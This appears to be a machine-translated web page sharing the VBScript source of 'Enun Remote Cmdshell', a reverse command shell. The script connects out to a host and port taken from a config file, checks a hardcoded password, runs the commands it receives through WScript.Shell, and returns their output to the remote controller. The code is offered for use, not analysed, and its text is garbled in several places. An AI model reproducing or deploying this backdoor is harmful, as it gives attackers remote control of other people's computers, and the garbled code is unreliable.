Enun Remote Cmdshell, like to play Cmdshell friends can refer to the next
Effect as shown:
Copy Code code as follows:
'============================
' Enun Remote Cmdshell v 1.0
'============================
Option Explicit
CONST account_lock_time = 600000 ' account lockout time, 10 minutes
CONST lockout_bad_count = 3 ' Password failed count
CONST default_wait_time = 1000 ' default delay, 1 seconds
CONST default_time_out = 60000 ' default timeout, 60 seconds
Public WinSocket, Srevdata, Count
Todo
On Error Resume Next
Do while (Winsocket.state <> 7)
Dim Objectfso, GetConfig, line, Host, Port, I
Set WinSocket = WScript.CreateObject ("Mswinsock.winsock")
Set Objectfso = CreateObject ("Scripting.FileSystemObject")
Set GetConfig = Objectfso.opentextfile (". Enunrc.ini", 1)
For i = 1 to 3
line = Getconfig.readline
If InStr (line, "host") > 0 Then host = Split (line, "=",-1, 1) (1)
If InStr (line, "Port") > 0 Then Port = Split (line, "=",-1, 1) (1)
Next
If (Len (Host) = 0) Then Host = "127.0.0.1"
If (Len (Port) = 0) Then Port = "8090"
Winsocket.protocol = 0
Winsocket.remotehost = Host
Winsocket.remoteport = Port
Winsocket.connect
Wscript.Sleep Default_wait_time * 5
Call Trackscript (2, winsocket.state, winsocket.bytesreceived)
' Setp:2
Loop
Do while (Winsocket.state <> 9 and winsocket.state <> 0)
Dim Authkey, Lockoutbadcount, Timeout_m, Timeout_n
Timeout_n = 0
Winsocket.senddata Winsocket.localhostname & "is Connected, Enter Password:"
Do while (winsocket.bytesreceived = 0 and winsocket.state <> 9 and winsocket.state <> 0)
Timeout_n = timeout_n + 1000
Call Controltimeout (Timeout_n)
Loop
Winsocket.getdata Authkey, vbstring
If Split (Authkey, Chr (Ten),-1, 1) (0) = "Veteran" Then
Winsocket.senddata "Logon Success, welcome!" & vbCrLf
Srevdata = "Veteran"
Do while (winsocket.bytesreceived = 0 and winsocket.state <> 9 and winsocket.state <> 0)
Dim Shellobj, executes
Set shellobj = CreateObject ("Wscript.Shell")
Set executes = shellobj.exec (Split (Srevdata, Chr (10),-1, 1) (0))
Winsocket.senddata Executes.StdOut.ReadAll
Winsocket.senddata Executes.StdErr.ReadAll
If (Len (Srevdata) > 0) Then
Timeout_m = 0
Winsocket.senddata vbCrLf & "[& Winsocket.localhostname &" @enun]#: "
Else
Do while (winsocket.bytesreceived = 0 and winsocket.state <> 9 and winsocket.state <> 0)
Timeout_m = timeout_m + 1000
Call Controltimeout (timeout_m)
Loop
End If
If (LCase (Left (Srevdata, 4)) = "Exit") Then Winsocket.close
Winsocket.getdata Srevdata, vbstring
wscript.sleep default_wait_time
call TrackScript (5, Winsocket.state, winsocket.bytesreceived)
' Setp:5
loop
else
lockoutbadcount = lockoutbadcount + 1
Winsocket.senddata "Logon fail:unknown user name or bad password." & vbCrLf
wscript.sleep Defau Lt_wait_time
end If
if (lockoutbadcount = lockout_bad_count) Then
winsocket.senddata "Failed Too many times, the account has been" locked! "& vbCrLf
wscript. Sleep default_wait_time
winsocket.close
lockoutbadcount = 0
wscript.sleep account_lock_time
' lock account
end If
call Trackscript (3, Winsocket.state, winsocket.bytesreceived)
' Setp:3
loop
call trackscript (1, winsocket.state, winsocket.bytesreceived)
' setp:1
Loop
'=======================
' Control Timeout.
'=======================
Public Sub controltimeout (Count)
If Count = Default_time_out Then
Winsocket.senddata vbCrLf & "Local server response timeout, please reconnect ..." & vbCrLf
Wscript.Sleep Default_wait_time
Winsocket.close
' The control end has no input within 60 seconds, the connection is automatically disconnected and can be connected instantly.
Else
Wscript.Sleep Default_wait_time
End If
Call Trackscript (4, winsocket.state, winsocket.bytesreceived)
' Setp:4
End Sub
'=======================
' Track Script.
'=======================
Public Sub Trackscript (Mystep, statecode, bytesreceived)
WScript.Echo "Mystep:" & Mystep & ", Statecode:" & Statecode & ", Received:" & bytesreceived & "Bytes"
End Sub